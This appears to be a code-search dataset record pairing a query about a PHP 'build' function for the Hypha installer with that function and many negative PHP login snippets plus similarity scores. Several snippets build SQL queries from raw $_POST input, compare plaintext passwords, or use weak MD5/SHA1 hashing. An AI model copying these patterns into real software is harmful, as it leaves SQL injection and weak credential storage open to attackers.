$this->getTableFormat(\"users\");\n\t\t\t$results = DB::query(\"SELECT id, username, password FROM $table\");\n\t\t\tforeach ($results as $row) {\n\t\t\t\tif ($row['username'] == $username)\n\t\t\t\t{\n\t\t\t\t\tif (password_verify($password, $row['password']))\n\t\t\t\t\t{\n\t\t\t\t\t\t//echo \"Login Correct\";\n\t\t\t\t\t\t$logged_in = true;\n\t\t\t\t\t\t//$_SESSION['user'] = $row['id'];\n\n\t\t\t\t\t\t/*Add login to logins table*/\n\t\t\t\t\t\t$userid = $row['id'];\n\t\t\t\t\t\t$userip = $_SERVER['REMOTE_ADDR'];\n\t\t\t\t\t\tif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n\t\t\t\t\t\t\t$userip2 = $_SERVER['HTTP_X_FORWARDED_FOR'];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$userip2 = $userip;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$current_time = time();\n\t\t\t\t\t\t$table = $this->getTableFormat(\"logins\");\n\t\t\t\t\t\tDB::insert($table, array(\n\t\t\t\t\t\t 'userid' => $userid,\n\t\t\t\t\t\t 'user_ip' => $userip,\n\t\t\t\t\t\t 'user_ip_2' => $userip2,\n\t\t\t\t\t\t 'last_action' => $current_time\n\t\t\t\t\t\t));\n\n\t\t\t\t\t\t//now, lets get the id of the session, hash it, and save it in the session variable\n\t\t\t\t\t\t$login_results = DB::query(\"Select * FROM $table\");\n\t\t\t\t\t\tforeach ($login_results as $i)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($i['userid'] == $userid && $i['user_ip'] == $userip && $i['user_ip_2'] == $userip2 && $i['last_action'] == $current_time) {\n\t\t\t\t\t\t\t\t//echo \"found the record\";\n\t\t\t\t\t\t\t\t$_SESSION['user'] = hash('ripemd160', $i['id']);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\n\n\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\t//echo \"Username or Password not correct\";\n\t\t\t\t\t$logged_in = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function login()\n\t{\n\t\t$mtg_login_failed = I18n::__('mtg_login_failed');\n\t\tR::selectDatabase('oxid');\n\t\t$sql = 'SELECT oxid, oxfname, oxlname FROM oxuser WHERE oxusername = ? AND oxactive = 1 AND oxpassword = MD5(CONCAT(?, UNHEX(oxpasssalt)))';\n\t\t$users = R::getAll($sql, array(\n\t\t\tFlight::request()->data->uname,\n\t\t\tFlight::request()->data->pw\n\t\t));\n\t\tR::selectDatabase('default');//before doing session stuff we have to return to db\n\t\tif ( ! empty($users) && count($users) == 1) {\n\t\t\t$_SESSION['oxuser'] = array(\n\t\t\t\t'id' => $users[0]['oxid'],\n\t\t\t\t'name' => $users[0]['oxfname'].' '.$users[0]['oxlname']\n\t\t\t);\n\t\t} else {\n\t\t\t$_SESSION['msg'] = $mtg_login_failed;\n\t\t}\n\t\t$this->redirect(Flight::request()->data->goto, true);\n\t}", "public function dologin() {\n $password=$this->model->getpassword($_POST['username']);\n if (!empty($_POST['password']) && !empty($password) && $password[0]['userpasswd']==$_POST['password']) {\n $_SESSION['username']=$_POST['username'];\n $id=$this->model->getid($_POST['username']);\n $_SESSION['userid']=$id[0]['userid'];\n $this->redirect('?v=project&a=show');\n } else {\n $this->view->set('errormessage', \"Błędny login lub hasło!\");\n $this->view->set('redirectto', \"?v=user&a=login\");\n $this->view->render('error_view');\n }\n }", "function login(){\n\tif(isset($_POST['submit'])){\n\t\t//create variables and assign values from the username and password fields in the login form\n\t\t$username= escape_string($_POST['username']);\n\t\t$password= hash('sha256', $_POST['password']);\n\t\t//check them against the values held in the database\n\t\t$query= query(\"SELECT*FROM users WHERE username = '{$username}' AND password = '{$password}'\");\n\t\tconfirm($query);\n\t\t//use the num_rows function to work out whether there is a match - or not\n\t\tif(mysqli_num_rows($query) == 0){\n\t\t\tset_message(\"Your username or password is incorrect. Please try again.\");\n\t\t\tredirect(\"login.php\");\n\t\t}else{\n\t\t$_SESSION['username'] = $username;\n\t\tredirect(\"index.php\");\n\t\t}\n\t}\n}", "private static function login() {\n if ( !self::validatePost() ) {\n return;\n }\n $_POST['email'] = strtolower($_POST['email']);\n \n $password = Helper::hash($_POST['password'].$_POST['email']);\n \n $result = Database::getUser($_POST['email'],$password);\n \n if ( $result === false || !is_array($result) ) {\n self::setError('Unbekannter Benutzername oder Passwort!<br>');\n return;\n }\n \n if ( count($result) != 1 ) {\n self::setError('Unbekannter Benutzername oder Passwort!<br>');\n return;\n }\n \n $_SESSION['user']['id'] = $result[0]['id'];\n $_SESSION['user']['email'] = $result[0]['email'];\n $_SESSION['user']['nickname'] = $result[0]['nickname'];\n $_SESSION['user']['verified'] = $result[0]['verified'];\n $_SESSION['user']['moderator'] = $result[0]['moderator'];\n $_SESSION['user']['supermoderator'] = $result[0]['supermoderator'];\n $_SESSION['loggedin'] = true;\n self::$loggedin = true;\n }", "public function do_login()\n {\n $this->userObject = new User();\n\n // grab the uID of the person signing in\n $uid = $this->userObject->checkUser($_POST['user_email'], $_POST['user_password']);\n\n // if the uID exists\n if ($uid) {\n\n $this->set('message', 'You logged in!');\n\n // grab the array of user-data from the database\n $user = $this->userObject->getUser($uid);\n\n // leave out the password\n unset($user['password']);\n unset($user[4]);\n\n // if (strlen($_SESSION['redirect']i) > 0) { // basically, if someone types in the url with the funciton after,\n // // supposed to redirect people to the pages they want.\n // $view = $_SESSION['redirect'];\n // unset($_SESSION['redirect']);\n // header('Location: ' . BASE_URL . $view);\n\n // make the SESSION key 'user' and set it equal to the aray of user-data\n $_SESSION['user'] = $user;\n\n header('Location: /index.php/');\n\n } else {\n\n $this->set('error', 'Sorry! Looks like something might be messed up with your Username or Password! :p');\n }\n }", "function login(){\n if(isset($_POST['login'])){\n $username = $_POST['username'];\n $password = $_POST['password'];\n\n $query = query(\"SELECT * FROM utenti WHERE username = '{$username}' AND password = '{$password}' \");\n conferma($query);\n\n if(mysqli_num_rows($query) == 0){\n\n creaAvviso('Utente o password Errati');\n header('Location: login.php');\n }else{\n\n $_SESSION['username'] = $username ;\n header('Location: admin/index.php');\n }\n }\n }", "public function loginAction()\n {\n // get the view vars\n $errors = $this->view->errors;\n $site = $this->view->site;\n $loginUser = $this->view->loginUser;\n\n if ( $loginUser ) {\n $homeUrl = $site->getUrl( 'home' );\n return $this->_redirect( $homeUrl );\n }\n\n // set the input params\n $this->processInput( null, null, $errors );\n\n // check if there were any errors\n if ( $errors->hasErrors() ) {\n return $this->renderPage( 'errors' );\n }\n\n return $this->renderPage( 'authLogin' );\n }", "public function loginForm($params) {\n if($this->is_logged_in(true)) {\n error_log(\"logging out already logged-in user.\");\n $this->logout([]);\n }\n\n include_once \"app/views/user/user_login.phtml\";\n }", "public function logIn(){\n\t\t$email = $_POST['log_email'];\n\t\t$email = filter_var($email, FILTER_SANITIZE_EMAIL); //sanitize email\n\t\t$s_email = self::$db->escape($email);\n\n\t\t\n\t\t$myquery = \"SELECT * FROM users WHERE email = $s_email;\";\n\t\tif(!self::$db->query($myquery)){\n\t\t\tarray_push($_SESSION['error'], \"does not match\");\n\t\t\treturn false;\n\t\t}\n\n\t\t$user = self::$db->select($myquery);\n\t\t$hash = $user[0]['password'];\n\t\t$password = $_POST['log_password'];\n\t\t$unlocked = password_verify($password, $hash);\n\n\t\tif($unlocked){\n\t\t\t$this->setSessionVar($user[0]['id'],$hash);\n\t\t\t$_SESSION['allow']=true;\n\t\t\t$_SESSION['username'] = $user[0]['username'];\n \t\t\theader( \"refresh:0; url=index.php?page=home\");\n \t\t \t\t\treturn true;\n\t\t}\n\t\telse{\n\t\t\tarray_push($_SESSION['error'] , 'does not match');\n\t\t\t$_SESSION['allow']=false;\n\t\t\treturn false ;\n\t\t}\n\t\tarray_push($_SESSION['error'] , 'does not match');\n\t\treturn false; \n\t}", "public function loginValidate()\n\t{\n\n\t\t$this->__set('email', $_POST['email']);\n\t\t$this->__set('password', $_POST['password']);\n\n\t\t$result = $this->validar();\n\n\t\tif (empty($result)) {\n\t\t\theader('location: /?erro=0');\n\t\t} else {\n\t\t\tsession_start();\n\t\t\t$_SESSION = $result;\n\t\t\theader('location: /main');\n\t\t}\n\t}", "public function loginCheck()\n\t{\n\t}", "public function login()\n {\n $authorized = $this->authorize( $_POST );\n if( !empty( $authorized ) && $authorized !== false ){\n $this->register_login_datetime( $authorized );\n ( new Events() )->trigger( 1, true );\n } else {\n ( new Events() )->trigger( 2, true );\n }\n }", "public function user_login() {\n global $db;\n\n //Use path to det user\n if (isset($_POST['login'])) {\n $username = \"\";\n $log_col = $_POST['liwth'];\n $user = $_POST['uname'];\n $pwd = sha1($_POST['pwd']);\n $login = $_POST['lias'];\n\n//Chosing the col of table where to login fron\n switch ($log_col) {\n case \"user\":\n $username = \"uname\";\n break;\n case \"cuser\":\n $username = \"cuname\";\n break;\n case \"employee\":\n $username = \"employee_no\";\n break;\n case\"job_seeker\":\n $username = \"natid\";\n break;\n default :\n echo 'ERROR DETERMINING USER CATEGORY!!!';\n }\n\n// echo '.' . $user . '.' . $pwd . '.' . $login . '.';\n// $query = \"SELECT fname $username, pwd FROM $login WHERE $username='$user' AND pwd='$pwd' \";\n $query = \"SELECT $username, fname, pwd FROM $login WHERE $username = ? AND pwd = ?\";\n $type_array = array('s', 's');\n $data_array = array($user, $pwd);\n\n $res = $db->select($query, $type_array, $data_array);\n if (!empty($res)) {\n foreach ($res as $row) {\n $_SESSION[$username] = $row[$username];\n $empno = $_SESSION[$username];\n $_SESSION['fname'] = $row['fname'];\n echo 'Login success';\n echo 'SESSION NAME' . $_SESSION['fname'];\n Redirect::to(\"index.php?rdr=1\");\n }\n } else {\n $query = \"SELECT fname $username, pwd FROM $login WHERE $username = ?\";\n $type_array = array('s');\n $data_array = array($user);\n\n $res = $db->select($query, $type_array, $data_array);\n if (!empty($res)) {\n echo 'Wrong password for ' . $user;\n// echo '.' . $user . '.' . $pwd . '.' . $login . '.';\n } else {\n echo 'The username does not exist';\n }\n }\n }\n }", "public function login() {\n $db = Db::getInstance();\n $user = new User($db);\n\n// preventing double submitting\n $token = self::setSubmitToken();\n\n// if user is already logged in redirect him to gallery\n if( $user->is_logged_in() ){\n call('posts', 'index');\n } else {\n// otherwise show login form\n require_once('views/login/index.php');\n// and refresh navigation (Login/Logout)\n require('views/navigation.php');\n }\n }", "public function login(){\n \n $this->data[\"title_tag\"]=\"Lobster | Accounts | Login\";\n \n $this->view(\"accounts/login\",$this->data);\n }", "public function p_login() {\n $_POST = DB::instance(DB_NAME)->sanitize($_POST);\n\n # Hash submitted password so we can compare it against one in the db\n $_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']);\n\n # Search the db for this email and password\n # Retrieve the token if it's available\n $q = \"SELECT token \n FROM users \n WHERE email = '\".$_POST['email'].\"' \n AND password = '\".$_POST['password'].\"'\";\n\n $token = DB::instance(DB_NAME)->select_field($q);\n\n # If we didn't find a matching token in the database, it means login failed\n if(!$token) {\n\n # Send them back to the login page with an error message\n Router::redirect(\"/users/login/?error=true\"); \n\n # But if we did, login succeeded! \n } \n # Login passed\n else {\n\n /* \n Store this token in a cookie using setcookie()\n Important Note: *Nothing* else can echo to the page before setcookie is called\n Not even one single white space.\n param 1 = name of the cookie\n param 2 = the value of the cookie\n param 3 = when to expire\n param 4 = the path of the cooke (a single forward slash sets it for the entire domain)\n */\n setcookie(\"token\", $token, strtotime('+2 weeks'), '/');\n\n # Send them to the main page - or whever you want them to go\n Router::redirect(\"/\");\n\n }\n\n // Check if email address is empty\n $q = \"SELECT email \n FROM users \n WHERE email = '\".$_POST['email'].\"' \n AND password = '\".$_POST['password'].\"'\";\n\n $email = DB::instance(DB_NAME)->select_field($q);\n\n if(!$email) {\n\n # Send them back to the login page with an error message\n Router::redirect(\"/users/login/?error=true\"); \n\n # But if we did, login succeeded! \n } \n # Login passed\n else {\n\n /* \n Store this token in a cookie using setcookie()\n Important Note: *Nothing* else can echo to the page before setcookie is called\n Not even one single white space.\n param 1 = name of the cookie\n param 2 = the value of the cookie\n param 3 = when to expire\n param 4 = the path of the cooke (a single forward slash sets it for the entire domain)\n */\n setcookie(\"token\", $token, strtotime('+2 weeks'), '/');\n\n # Send them to the main page - or whever you want them to go\n Router::redirect(\"/\");\n\n }\n\n }", "public function loginAction()\n {\n $this->_helper->layout->disableLayout(); // desabilita Zend_Layout\n\n // recebe os dados do formulrio via post\n $post = Zend_Registry::get('post');\n $username = Mascara::delMaskCNPJ(Mascara::delMaskCPF($post->Login)); // recebe o login sem mscaras\n $password = $post->Senha; // recebe a senha\n\n //Pega o IP do usuario\n\n $ip = $this->buscarIp();\n\n $tbLoginTentativasAcesso = new tbLoginTentativasAcesso();\n $LoginAttempt = $tbLoginTentativasAcesso->consultarAcessoCpf($username, $ip);\n\n\n //Pega timestamp atual\n $data = new Zend_Date();\n $timestamp = $data->getTimestamp();\n\n $maxTentativas = 4;\n $tempoBan = 300; // segundos\n\n // VERIFICA SE USUARIO ESTA BANIDO\n if (isset($LoginAttempt)) {\n $tempoLogin = $timestamp - strtotime($LoginAttempt->dtTentativa);\n\n if ($tempoLogin <= $tempoBan && $LoginAttempt->nrTentativa >= $maxTentativas) {\n parent::message('Acesso bloqueado, aguarde '.gmdate(\"i\", ($tempoBan + 5 - $tempoLogin)).' minuto(s) e tente novamente!', \"/\", \"ERROR\");\n } else {\n try {\n // valida os dados\n if (empty($username) || empty($password)) { // verifica se os campos foram preenchidos\n throw new Exception(\"Login ou Senha invalidos!\");\n } elseif (strlen($username) == 11 && !Validacao::validarCPF($username)) { // verifica se o CPF ? v?lido\n throw new Exception(\"O CPF informado invalido!\");\n } elseif (strlen($username) == 14 && !Validacao::validarCNPJ($username)) { // verifica se o CNPJ ? v?lido\n throw new Exception(\"O CNPJ informado invalido!\");\n } else {\n // realiza a busca do usurio no banco, fazendo a autenticao do mesmo\n $Usuario = new Usuario();\n $buscar = $Usuario->login($username, $password);\n\n\n\n if ($buscar) { // acesso permitido\n $tbLoginTentativasAcesso->removeTentativa($username, $ip);\n\n $auth = Zend_Auth::getInstance(); // instancia da autenti��o\n\n // registra o primeiro grupo do usurio (pega unidade autorizada, org�o e grupo do usu�rio)\n $Grupo = $Usuario->buscarUnidades($auth->getIdentity()->usu_codigo, 21); // busca todos os grupos do usu�rio\n\n $GrupoAtivo = new Zend_Session_Namespace('GrupoAtivo'); // cria a sess�o com o grupo ativo\n $GrupoAtivo->codGrupo = $Grupo[0]->gru_codigo; // armazena o grupo na sess�o\n $GrupoAtivo->codOrgao = $Grupo[0]->uog_orgao; // armazena o org�o na sess�o\n $this->orgaoAtivo = $GrupoAtivo->codOrgao;\n\n // redireciona para o Controller protegido\n return $this->_helper->redirector->goToRoute(array('controller' => 'principal'), null, true);\n } // fecha if\n else {\n if ($tempoLogin > $tempoBan) {\n $tbLoginTentativasAcesso->removeTentativa($username, $ip);\n }\n $LoginAttempt = $tbLoginTentativasAcesso->consultarAcessoCpf($username, $ip);\n\n //se nenhum registro foi encontrado na tabela Usuario, ele passa a tentar se logar como proponente.\n //neste ponto o _forward encaminha o processamento para o metodo login do controller login, que recebe\n //o post igualmente e tenta encontrar usuario cadastrado em SGCAcesso\n\n //INSERE OU ATUALIZA O ATUAL ATTEMPT\n if (!$LoginAttempt) {\n $tbLoginTentativasAcesso->insereTentativa($username, $ip, $data->get('YYYY-MM-dd HH:mm:ss'));\n } else {\n $tbLoginTentativasAcesso->atualizaTentativa($username, $ip, $LoginAttempt->nrTentativa, $data->get('YYYY-MM-dd HH:mm:ss'));\n }\n\n $this->forward(\"login\", \"login\");\n //throw new Exception(\"Usurio inexistente!\");\n }\n } // fecha else\n } // fecha try\n catch (Exception $e) {\n parent::message($e->getMessage(), \"index\", \"ERROR\");\n }\n }\n }\n }", "public function login() {\n $flash = null;\n // if the user has tried logging in\n if(isset($_POST['login'])){\n // try verifying the user\n if($this->User->login($_POST['username'], $_POST['password'])) {\n session_write_close();\n header(\"Location: \".app::site_url(array(config::get('default_controller'), 'index')));\n exit(0);\n } else {\n $flash = \"That username and/or password is not valid.\";\n }\n }\n return array(\n 'flash' => $flash,\n 'title' => 'Login'\n );\n }" ]
[ "0.8341818", "0.82227546", "0.8204332", "0.8204332", "0.80524", "0.80397207", "0.8039707", "0.7988027", "0.7985416", "0.7901336", "0.7895697", "0.7890811", "0.7883097", "0.787984", "0.7835461", "0.7780317", "0.77679354", "0.77466744", "0.77372056", "0.7733294", "0.77331686", "0.7731946", "0.76910806", "0.7687181", "0.7685941", "0.76773435", "0.76467085", "0.7643605", "0.7640998", "0.76306784", "0.7620534", "0.75981766", "0.7569983", "0.7563827", "0.7557187", "0.75522286", "0.7550598", "0.7544402", "0.7538316", "0.75302726", "0.7524417", "0.7509149", "0.75039643", "0.75039196", "0.7495324", "0.7490346", "0.7490213", "0.74870646", "0.7485933", "0.74831146", "0.74796665", "0.7460519", "0.74561584", "0.74533105", "0.7449858", "0.74447894", "0.74370825", "0.7429291", "0.74279565", "0.7427735", "0.74229324", "0.741419", "0.7413958", "0.74137276", "0.74126834", "0.7407469", "0.74045914", "0.73951954", "0.737653", "0.7375524", "0.7372246", "0.7369752", "0.7368315", "0.7367495", "0.73655593", "0.73631424", "0.73581225", "0.7357658", "0.7356133", "0.73494107", "0.73391914", "0.73305607", "0.7327544", "0.7320057", "0.73174095", "0.73149955", "0.7314019", "0.73134553", "0.73111045", "0.7302871", "0.7292725", "0.72926366", "0.7287001", "0.72815335", "0.7275895", "0.7275048", "0.7274923", "0.7274068", "0.7273604", "0.72705036", "0.72691584" ]
0.0
-1
/ Function: build produces html page for selecting hypha modules and languages to package in a new hypha.php install script
function build() { $localIndex = index(); arsort($localIndex); ob_start(); ?> <div style="width:600px;"> <h1>hypha builder</h1> Here you can compose your own hypha system. <ol> <li>First you have to enter a name and password for the so called 'superuser' account.</li> <li>Then you can select a number of modules for different data types you want to incorporate in your hypha system.</li> <li>When you click 'build' your superuser account and selection of modules will be packed into one php file ('hypha.php') which is offered for download.</li> <li>Upload the downloaded file into a webdirectory on your server and make shure php has write access to the folder. Open the file in a browser. You will be asked to login as superuser and after setting up some variables hypha will be installed.</li> </ol> </div> <table class="section"> <tr><th style="text-align:right; white-space:nowrap;">superuser name:</th><td><input id="username" name="username" type="text" /></td></tr> <tr><th style="text-align:right; white-space:nowrap;">superuser password:</th><td><input name="password" type="password" /></td></tr> <tr name="datatype"> <th style="text-align:right; white-space:nowrap;">modules to include:</th><td> <?php foreach ($localIndex as $file => $timestamp) { if (substr($file, 0, 17) == 'system/datatypes/') { $name = substr($file, 17, -4); if ($name!='settings') echo '<input type="checkbox" name="build_'.substr($file,0,-4).'"'.($name == 'text' ? ' checked="checked"' : '').' /> '.$name.'<br/>'."\n"; } } ?> </td></tr> <tr name="language"> <th style="text-align:right; white-space:nowrap;">languages to include:</th><td> <?php foreach ($localIndex as $file => $timestamp) { if (substr($file, 0, 17) == 'system/languages/' && substr($file, -4) == '.php') { $name = substr($file, 17, -4); echo '<input type="checkbox" name="build_'.substr($file,0,-4).'"'.($name == 'en' ? ' checked="checked"' : '').' /> '.$name.'<br/>'."\n"; } } ?> </td></tr> <tr><td colspan="2" style="text-align:right;"><input type="submit" id="gobutton" name="command" value="build"></td></tr> </table> <?php return ob_get_clean(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function install() {\n\t\tglobal $errorMessage;\n\n\t\tif ($_POST['command'] == 'install' && is_writable('.')) {\n\t\t\t// upzip and install files\n\t\t\t$files = explode(',', data('index'));\n\t\t\tforeach ($files as $file) {\n\t\t\t\tif (!$file)\n\t\t\t\t\tcontinue;\n\t\t\t\t$path = pathinfo($file);\n\t\t\t\t$dir = explode('/', $path['dirname']);\n\t\t\t\t$folder = '';\n\t\t\t\tforeach($dir as $d) {\n\t\t\t\t\t$folder.= ($folder ? '/' : '').$d;\n\t\t\t\t\tif (!file_exists($folder)) mkdir($folder, 0755);\n\t\t\t\t}\n\t\t\t\tfile_put_contents($file, data($file));\n\t\t\t\tchmod($file, 0664);\n\t\t\t}\n\n\t\t\t// Needed for password hashing\n\t\t\trequire_once('system/core/crypto.php');\n\n\t\t\t// create data folders\n\t\t\tmkdir('data/pages', 0755);\n\t\t\tmkdir('data/images', 0755);\n\n\t\t\t// create default page\n\t\t\t$id = uniqid();\n\t\t\t$xml = new DomDocument('1.0', 'UTF-8');\n\t\t\t$xml->preserveWhiteSpace = false;\n\t\t\t$xml->formatOutput = true;\n\t\t\t$hypha = $xml->createElement('hypha');\n\t\t\t$hypha->setAttribute('type', 'textpage');\n\t\t\t$hypha->setAttribute('multiLingual', 'on');\n\t\t\t$hypha->setAttribute('versions', 'on');\n\t\t\t$hypha->setAttribute('schemaVersion', 1);\n\t\t\t$language = $xml->createElement('language', '');\n\t\t\t$language->setAttribute('xml:id', $_POST['setupDefaultLanguage']);\n\t\t\t$version = $xml->createElement('version', '<p>welcome to your brand new hypha website.</p>');\n\t\t\t$version->setAttribute('xml:id', 't'.time());\n\t\t\t$version->setAttribute('author', '');\n\t\t\tsetNodeHtml($version, '<p>welcome to your brand new hypha website.</p>');\n\t\t\t$language->appendChild($version);\n\t\t\t$hypha->appendChild($language);\n\t\t\t$xml->appendChild($hypha);\n\t\t\t$xml->save('data/pages/'.$id);\n\n\t\t\t// build hypha.xml\n\t\t\t$xml = new DomDocument('1.0', 'UTF-8');\n\t\t\t$xml->preserveWhiteSpace = false;\n\t\t\t$xml->formatOutput = true;\n\t\t\t$hypha = $xml->createElement('hypha');\n\t\t\t$hypha->setAttribute('type', 'project');\n\t\t\t$hypha->setAttribute('defaultLanguage', $_POST['setupDefaultLanguage']);\n\t\t\t$hypha->setAttribute('defaultPage', $_POST['setupDefaultPage']);\n\t\t\t$hypha->setAttribute('email', $_POST['setupEmail']);\n\t\t\t$hypha->setAttribute('digestInterval', '21600');\n\t\t\t$hypha->setAttribute('schemaVersion', 1);\n\t\t\t$hypha->appendChild($xml->createElement('title', $_POST['setupTitle']));\n\t\t\t$header = $xml->createElement('header', $_POST['setupTitle']);\n\t\t\t$hypha->appendChild($header);\n\t\t\t$footer = $xml->createElement('footer', '');\n\t\t\tsetNodeHtml($footer, '<a href=\"http://creativecommons.org/licenses/by-sa/3.0/\"><img alt=\"Creative Commons License\" style=\"border-width: 0pt; float: right; margin-left: 5px;\" src=\"//i.creativecommons.org/l/by-sa/3.0/88x31.png\" /></a> This work is licensed under a <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\">Creative Commons Attribution-ShareAlike 3.0 Unported License</a>. Website powered by <a href=\"http://www.hypha.net\">hypha</a>.');\n\t\t\t$hypha->appendChild($footer);\n\t\t\t$menu = $xml->createElement('menu', '');\n\t\t\tsetNodeHtml($menu, '<a href=\"hypha:'.$id.'\"/>');\n\t\t\t$hypha->appendChild($menu);\n\t\t\t$userList = $xml->createElement('userList', '');\n\t\t\t$user = $xml->createElement('user', '');\n\t\t\t$user->setAttribute('id', uniqid());\n\t\t\t$user->setAttribute('username', $_POST['setupUsername']);\n\t\t\t$user->setAttribute('password', hashPassword($_POST['setupPassword']));\n\t\t\t$user->setAttribute('fullname', $_POST['setupFullname']);\n\t\t\t$user->setAttribute('email', $_POST['setupEmail']);\n\t\t\t$user->setAttribute('rights', 'admin');\n\t\t\t$userList->appendChild($user);\n\t\t\t$hypha->appendChild($userList);\n\t\t\t$pageList = $xml->createElement('pageList', '');\n\t\t\t$page = $xml->createElement('page', '');\n\t\t\t$page->setAttribute('id', $id);\n\t\t\t$page->setAttribute('type', 'textpage');\n\t\t\t$page->setAttribute('private', 'off');\n\t\t\t$language = $xml->createElement('language', '');\n\t\t\t$language->setAttribute('id', $_POST['setupDefaultLanguage']);\n\t\t\t$language->setAttribute('name', $_POST['setupDefaultPage']);\n\t\t\t$page->appendChild($language);\n\t\t\t$pageList->appendChild($page);\n\t\t\t$hypha->appendChild($pageList);\n\t\t\t$hypha->appendChild($xml->createElement('digest', ''));\n\t\t\t$xml->appendChild($hypha);\n\t\t\t$xml->save('data/hypha.xml');\n\n\t\t\t// goto hypha site\n\t\t\theader('Location: '.$_POST['setupBaseUrl']);\n\t\t\texit;\n\t\t}\n\t\telse {\n\t\t\tif (!is_writable('.')) $errorMessage.= 'php has no write access to the hypa installation directory on the server<br/>';\n\n\t\t\t// extract list of languages\n\t\t\t$iso639 = json_decode(data('system/languages/languages.json'), true);\n\t\t\t$languageOptionList = '';\n\t\t\tforeach($iso639 as $code => $langName) $languageOptionList.= '<option value=\"'.$code.'\"'.( $code=='en' ? ' selected' : '').'>'.$code.': '.$langName.'</option>';\n\n\t\t\t// build html\n\t\t\tob_start();\n?>\n\t\t<div style=\"width:800px;\">\n\t\t\t<h1>hypha installer</h1>\n\t\t\tIn order to set up this new hypha site you need to fill out a few things. This is a once only procedure. The entered data will be used to create some folders, include scripts and config files in the folder where the hypha script resides.\n\t\t\t<h2>system configuration</h2>\n\t\t\tThe following settings are used to set up your project website. All settings can be changed after the initial installation.<br/>\n\t\t\t<table style=\"width:800px;\" class=\"section\">\n\t\t\t\t<tr><td width=\"240\"></td><td></td><td width=\"400\"></td></tr>\n\t\t\t\t<tr><th>title</th><td><input name=\"setupTitle\" size=\"40\" value=\"<?=$_POST['setupTitle'];?>\" /></td><td class=\"help\">The name of your site as it will appear in the browers title bar.</td></tr>\n\t\t\t\t<tr><th>base url</th><td><input name=\"setupBaseUrl\" size=\"40\" value=\"http://<?=$_SERVER[\"SERVER_NAME\"].str_replace('/hypha.php', '', $_SERVER[\"REQUEST_URI\"])?>\" /></td><td class=\"help\">This is the address where the hypha site can be found.</td></tr>\n\t\t\t\t<tr><th>default page</th><td><input name=\"setupDefaultPage\" size=\"40\" value=\"home\" value=\"<?=$_POST['setupDefaultPage'];?>\" /></td><td class=\"help\">Hypha lets you create wiki style pages which can link to each other. If no particular page is selected the site will default to this page.</td></tr>\n\t\t\t\t<tr><th>default language</th><td><select name=\"setupDefaultLanguage\"><?=$languageOptionList?></select></td><td class=\"help\">All pages can be multilingual. If a user does not choose a language the site will default to this language.</td></tr>\n\t\t\t\t<tr><th>login</th><td><input name=\"setupUsername\" size=\"40\" value=\"<?=$_POST['setupUsername'];?>\" /></td><td class=\"help\">This first user account will automatically have admin rights for site maintenance.</td></tr>\n\t\t\t\t<tr><th>password</th><td><input name=\"setupPassword\" size=\"40\" value=\"<?=$_POST['setupPassword'];?>\" /></td><td class=\"help\">The superuser password.</td></tr>\n\t\t\t\t<tr><th>full name</th><td><input name=\"setupFullname\" size=\"40\" value=\"<?=$_POST['setupFullname'];?>\" /></td><td class=\"help\">This name will be used for email messages generated by the system.</td></tr>\n\t\t\t\t<tr><th>email</th><td><input name=\"setupEmail\" size=\"40\" value=\"<?=$_POST['setupEmail'];?>\" /></td><td class=\"help\">This email adress will be the reply-to address of system sent messages. You may want to use an email alias that forwards messages to all collaborators in the group.</td></tr>\n\t\t\t\t<tr><td colspan=\"3\" style=\"text-align:right;\"><input type=\"submit\" name=\"command\" value=\"install\" /></td></tr>\n\t\t\t</table>\n\t\t</div>\n<?php\n\t\t\treturn ob_get_clean();\n\t\t}\n\t}", "function mainHTML()\n {\n ?>\n <h1>Upgrade Andromeda From Subversion</h1>\n \n <br/>\n This program will pull the latest release code for\n Andromeda directly from our Sourceforget.net Subversion tree. \n\n <br/>\n <br/>\n <b>This program directly overwrites the running Node Manager\n Code.</b> <span style=\"color:red\"><b>If you have been making changes to your Andromeda\n code on this machine all of those changes will be lost!</b><span>\n \n <br/>\n <br/>\n <a href=\"javascript:Popup('?gp_page=a_pullsvna&gp_out=none')\"\n >Step 1: Pull Code Now</a>\n \n <br/>\n <br/>\n <a href=\"javascript:Popup('?gp_page=a_builder&gp_out=none&txt_application=andro')\"\n >Step 2: Rebuild Node Manager</a>\n \n <?php\n \n }", "private function printToolHead() {\n\t\t\t$this->page->openBlock('div', 'iw-content');\n\t\t\t$this->page->addInline('p', 'This tool generates reports about wikilinks in one article:');\n\t\t\t$this->page->openBlock('ul');\n\t\t\t$this->page->addInline('li', 'Links from given article which have no backlinks from target article');\n\t\t\t$this->page->addInline('li', 'Backlinks from other articles which have no links from given article');\n\t\t\t$this->page->addInline('li', 'Links from given article with backlinks from other articles');\n\t\t\t$this->page->closeBlock();\n\t\t\t$this->page->addInline('h2', 'Options');\n\t\t\t\n\t\t\t// options\n\t\t\t$optionForm = new HtmlForm('index.php', 'GET');\n\t\t\t$optionForm->addHTML('<table class=\"iw-nostyle\">');\n\t\t\t\n\t\t\t// lang/project\n\t\t\t$optionForm->addHTML('<tr><td>');\n\t\t\t$optionForm->addLabel('lang', 'Project');\n\t\t\t$optionForm->addHTML('</td><td>');\n\t\t\t$optionForm->addInput('lang', $this->par['lang'], '', 7, true);\n\t\t\t$optionForm->addHTML('&nbsp;.&nbsp;');\n\t\t\t$optionForm->addInput('project', $this->par['project'], '', 20, true);\n\t\t\t$optionForm->addHTML('&nbsp;.org</td></tr>');\n\t\t\t\n\t\t\t// page\n\t\t\t$optionForm->addHTML('<tr><td>');\n\t\t\t$optionForm->addLabel('page', 'Page title');\n\t\t\t$optionForm->addHTML('</td><td>');\n\t\t\t$optionForm->addInput('page', $this->par['page'], 'A page title in the main namespace (0)', 0, true);\n\t\t\t$optionForm->addHTML('</td></tr>');\n\t\t\t\n\t\t\t// submit button\n\t\t\t$optionForm->addHTML('<tr><td colspan=\"2\">');\n\t\t\t$optionForm->addButton('submit', 'View page 